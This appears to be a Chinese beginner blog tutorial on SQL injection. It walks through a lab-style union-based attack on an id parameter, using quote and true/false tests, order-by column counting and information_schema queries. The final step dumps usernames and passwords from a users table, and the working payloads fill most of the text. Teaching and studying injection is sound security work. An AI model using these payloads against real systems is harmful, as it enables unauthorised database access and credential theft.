从零开始学渗透----SQL 注入(一)

冷水泡面

本文只提供思路参考学习

注入漏洞

注入漏洞作为OWASP Top 10之一,它是一个十分普遍的漏洞,攻击者注入恶意代码后,能引起很严重的后果,而SQL注入又是其中的大头,作为初识安全的小白,这是一个很好的学习方向。

SQL注入

顾名思义 是由于开发人员编写的SQL语句不健壮,从而使得你能在Web端构建自己的特殊SQL语句导致能从前端访问到后端的数据库,从而获得数据库的一系列信息的攻击行为。

SQL注入类型

总体分为字符型和数字型

$query="select username,email from member where id=$id"; // 数字型 未在id处添加特殊符号
$query="select username,email from member where id='$id'"; //字符串型,在id处加以单引号闭合

SQL注入总体思路

  1. 根据网址抓包等确定是否有查询参数
  2. 找注入点并判断是否能进行注入
  3. 进行数据爆破

实战复现

1.进入网址,发现它的url是以查询信息结尾的,id 就是查询参数。由此判断可以构造SQL语句

2.查找注入点并判断是否能进行注入

常用方法先是添加单引号造成SQL语句出错

/index1.php?id=1' //等价于

select username from member where id = '1'' 字符串型(还可能是其他特殊符号)

select username from memeber where id = 1' 数字型

image.png
观察报错,应为字符串型SQL注入


然后 构建特殊语句 ?id=1' and' 1 '=' 1 (注意标签的闭合) 此处是恒为真的表达式,所以预计页面正确显示。

image.png

然后构建特殊语句?id=1' and' 1 '=' 2 此处是恒为假的表达式,预计页面不会正确显示,但是不会报错。

image.png

两个恒等式 的差异表现说明了此处是可以进行sql注入的

3.进行数据爆破

在得知SQL注入漏洞存在后,我们即可进行系列操作。

首先是通过order by 猜测表中字段数。构建语句

' order by 5--+ 
// --+是注释,能忽略后面的特殊字符闭合,用二分法猜数字

image.png

说明字段超了,往回猜,先3后4,2 就能确定只有3个字段了

接下来就是利用 union 语句来操作了
输入?id=1' and 1 = 2 union select 1,2,3--+

image.png

前面编写 and 1 = 2 是因为联合选择 将前面的语句返回一个false 就不会在页面显示,所以会显示后面我们想要找的东西,也可以写成 id = -1' union select 1,2,3--+

说明2,3 都可以替换成我们想要查找的东西

接下来就是一系列的常规操作了

先查询数据库以及数据库版本

?id=1' and 1 = 2 union select 1,version(),database()--+

image.png

在确定版本为5.5.53 确定有information_scheme信息库接下来就用它以及group_concat函数进行操作

查询表头

?id=1' and 1 = 2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

image.png

很明显users就是一个好东西,我们获取它的列名

?id=1' and 1 = 2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

image.png

最后你就可以获取对应的用户名和密码啦

?id=1' and 1 = 2 union select 1,2,group_concat(id, '%7C',username,'%7C',password) from users--+

image.png 从左到右分别分别是id username password

到此基本想要的信息都拿到啦。

分享到此结束,感谢观看!

参考资料
https://blog.csdn.net/qq_4126...
https://segmentfault.com/a/11...
《腾讯Web安全课堂》

阅读 206
7 声望
2 粉丝
0 条评论
你知道吗?

7 声望
2 粉丝
宣传栏